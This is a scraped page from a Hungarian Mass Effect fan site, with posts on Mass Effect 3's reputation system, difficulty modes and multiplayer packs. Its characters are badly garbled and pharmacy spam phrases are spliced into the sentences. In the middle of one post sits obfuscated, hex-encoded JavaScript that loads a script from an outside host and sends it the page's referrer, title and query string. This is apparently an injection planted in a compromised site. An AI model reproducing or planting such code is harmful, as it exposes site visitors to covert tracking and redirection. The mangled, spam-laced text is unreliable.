Üdvözlünk az SFportal nem hivatalos Mass Effect rajongói oldalán!

Kövess minket!



Vagy kérj e-mail értesítőt!

Enter your email address:

Delivered by FeedBurner

Mass Effect @ Google+

Mass Effect @ Facebook

A hivatalos magyar Mass Effect Facebook oldal

Csatlakozz!

A?tmutatA?

A?rta: Patrick Weekes

BA?r a legfA�bb munkA?nk a plot A�s a karakterek fejlesztA�se, valamint a dialA?gusok A�rA?sa, a Bioware legtA�bb A�rA?ja egyA�b feladatokkal is el van foglalva. PA�ldA?ul a galaxistA�rkA�p logikA?jA?val A�s a bolygA?leA�rA?sokkal (Chris Hepler), az ellensA�g csataA?vA�ltA�seivel (Jay Watamaniuk), vagy hogy egy Vanguarddal engem idegesA�tsen (Sylvia Feketekuty). Van egy rendszer, amin A�n dolgoztam a Mass Effect sorA?n, mA�ghozzA? a reputA?ciA? rendszer – A�s, ahogy a legtA�bb esetben, itt is jelentA�s fejlA�dA�s lA?tszik a Mass Effect 3-ban.

Mi is ez?

Nos, pontosan az, aminek hangzik. Ahogy a hA?borA? szA�tterjed a galaxisban, olyan dolgokat fogsz csinA?lni, amik felkeltik a nA�pek figyelmA�t. A�s amennyiben az elismertsA�ged megfelelA�en impresszA�v, azok az emberek, akiket egyA�bkA�nt nem A�rdekelnA�l, komolyan fogjA?k venni, amikor valami olyasmit mondasz, hogy “Kiirtom a teljes fajodat, ha nem teszed le azt a fegyvert!”. Egy komolyan elismertsA�g megnyit olyan pA?rbeszA�d lehetA�sA�geket, amik egyA�bkA�nt nem lennA�nek elA�rhetA�k; ezek A?ltalA?ban jobb eredmA�nyeket hoznak, mint a normA?l opciA?k.

NA�ha a ReputA?ciA? hordoz magA?ban PA�ldakA�p vagy RenegA?t A�rtelmet is. A PA�ldakA�p akciA?k A?ltalA?ban szA�vetsA�gek A�pA�tA�sA�rA�l, a galaktikus tA�rvA�nyeknek valA? megfelelA�srA�l szA?l, A�s olyan dA�ntA�sekrA�l, amik szimpA?tiA?t A�s bizalmat A�bresztenek. A RenegA?t akciA?k A?ltalA?ban cA�lratA�rA�, eredmA�ny-orientA?lt megkA�zelA�tA�st jelentenek, a tA�rvA�nyek megszegA�sA�t vagy extrA�m lA�pA�sek megtA�telA�t a munka elvA�gzA�se A�rdekA�ben.

A�s mi nem?

A korA?bbi Bioware jA?tA�kokban – fenA�be is, a korA?bbi Mass Effect jA?tA�kokban – az egyedi pA?rbeszA�d opciA?k olyan helyeken fordultak elA�, ahol Shepard, a KamarA?s, a Spirit Monk vagy “a KOTOR jA?tA�kos karaktere, akinek a neve mA?r nem is spoiler” kialkudott a szerencsA�tlen szemlA�lA�ktA�l nA�mi extra pA�nzt. Azok a jA?tA�kosok, akik pontokat A?ldoztak a MeggyA�zA�s-tA�pusA? kA�pzettsA�gekre, mindegyik jA?tA�kban tA�bb jutalmat nyerhettek vagy kedvezmA�nyeket csikarhattak ki a kereskedA�ktA�l.

SajnA?latos mA?don a Mass Effect 3-ban, amikor a hA?borA? csalA?dokat szakA�t szA�t, A�s egA�sz kontinensek vA?lnak parA?zslA? krA?terekkA�, az “Shepard parancsnok vagyok A�s ez a kedvenc boltom a FellegvA?rban”-tA�pusA? mondatoknak nincs akkora sA?lyuk, mint korA?bban. Az emberek A�gy is eladnak neked olyan dolgokat, amiket egyA�bkA�nt nem szokA?suk, mivel te vagy a vilA?gegyetem utolsA? remA�nye. Az elismertsA�ged arra valA?, hogy vilA?gokat ments meg A�s szA�vetsA�geseket nyerj, nem pedig hogy jobb A?ron szerezd be a tA�ligumit.

Valamint, sosem leszel a Mass Effect 3 fA�gonosza. Ha mindig a RenegA?t vA?laszokat vA?lasztod a jA?tA�kban, akkor lehet goromba a barA?taiddal, brutA?lis az ellensA�geiddel; meghozhatsz olyan kemA�ny dA�ntA�seket, amik a barA?tsA?gaidba kerA?lnek; elkA�vethetsz olyan sA?lyos bA�nA�ket, amik ha napvilA?got lA?tnA?nak, szA�rnyetegnek bA�lyegeznA�nek A�rte. De vA�gig a galaxis megmentA�sA�A�rt kA?zdesz, bA?rmilyen taktikA?t is vA?lasztasz.

Egy kattintás ide a folytatáshoz....

Gyakran futunk bele abba a kA�rdA�sbe, hogy mi is a kA?lA�nbsA�g a Mass Effect 3 egyjA?tA�kos kampA?nyA?nak kA?lA�nbA�zA� mA?dozatai kA�zA�tt, melyeket a demA?ban is kiprA?bA?lhatunk. Gyors A�s egyszerA� a vA?lasz:

Az Action proscar hair loss. A�mA?d – nevA�bA�l is adA?dA?an – elsA�sorban az akciA?ra helyezi a hangsA?lyt. Ebben a verziA?ban nem kapunk interaktA�v vA?laszlehetA�sA�geket, nem dA�nthetA?nk a pA?rbeszA�dekben vagy egyA�b helyzetekben; ezek a rA�szletek mint A?tvezetA� videA?k kerA?lnek lejA?tszA?sra, a Bioware A?ltal elA�re beA?llA�tott opciA?kkal fog lefutni a tA�rtA�net. A harcok nehA�zsA�ge A�zlA�s szerint A?llA�thatA?.

A Role PlayingA�mA?d jelenti a “tradicionA?lis” Mass Effect mA?dit. A karakterA?nk teljesen testreszabhatA?, eloszthatA?k a kA�pessA�gpontok, stb., A�s minden dA�ntA�st nekA?nk van lehetA�sA�gA?nk megszabni. Azaz, teljesen A?gy jA?tszhatunk, ahogy a Mass Effect 1-2-ben megszokhattuk. A harcok nehA�zsA�ge A?llA�thatA?.

A StoryA�mA?dban szintA�n minden dA�ntA�s a mienk, ugyanakkor kevesebb lesz a beA?llA�tA?si lehetA�sA�gA?nk, valamint a harcok is kA�nnyebbekkA� vA?lnak. Ez azoknak ajA?nlott, akiket elsA�sorban a Mass Effect 3 tA�rtA�nete A�rdekel, de nem akarnak tA?l sok beA?llA�tA?ssal bA�belA�dni, A�s csak nagyon laza harcot akarnak.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

prednisolone for dogs no prescription. Nos, immA?ron majdnem kA�t hete lehet jA?tszani a demA? multiplayer rA�szA�vel, A�s nyilvA?n sokakban felmerA?lhet a kA�rdA�s: recruit vagy veteran packet A�rdemes venni a spA?rolt kreditekbA�l. A?me egy rA�vid A?tmutatA?.

Egy kattintás ide a folytatáshoz....

Az alA?bbi cikk tA�rtA�netileg nem jelent spoilert, inkA?bb a jA?tA�kmechanikA?val kapcsolatban kiszivA?rgott informA?ciA?kat osztjuk meg. Ezek nem vA�glegesek, a kiadott jA?tA�kban enyhe eltA�rA�sek lehetnek, de nagy vonalakban ezt vA?rhatjuk a Mass Effect 3-ban.

A Galaxy at WarA�szintA?nk fogja eldA�nteni, hogy mennyire lesz “tA�kA�letes” a jA?tA�k befejezA�se, milyen vesztesA�gekkel fogjuk tudni legyA�zni a KaszA?sokat; ezt befolyA?solhatja a multiplayerbA�l szA?rmazA? Galactic ReadinessA�A�rtA�k, melynek hasznA?lata teljes mA�rtA�kben opcionA?lis. HangsA?lyozzuk, hogy NEM szA?ksA�ges a multiplayerrel jA?tszani a legtA�kA�letesebb befejezA�shez, A�nmagA?ban az egyjA?tA�kos mA?dban is elA�rhetjA?k cA�lunkat; ezt pusztA?n megkA�nnyA�ti a multiplayer.

De lA?ssuk, hogyan – innentA�l kezdve enyhe spoiler.

Egy kattintás ide a folytatáshoz....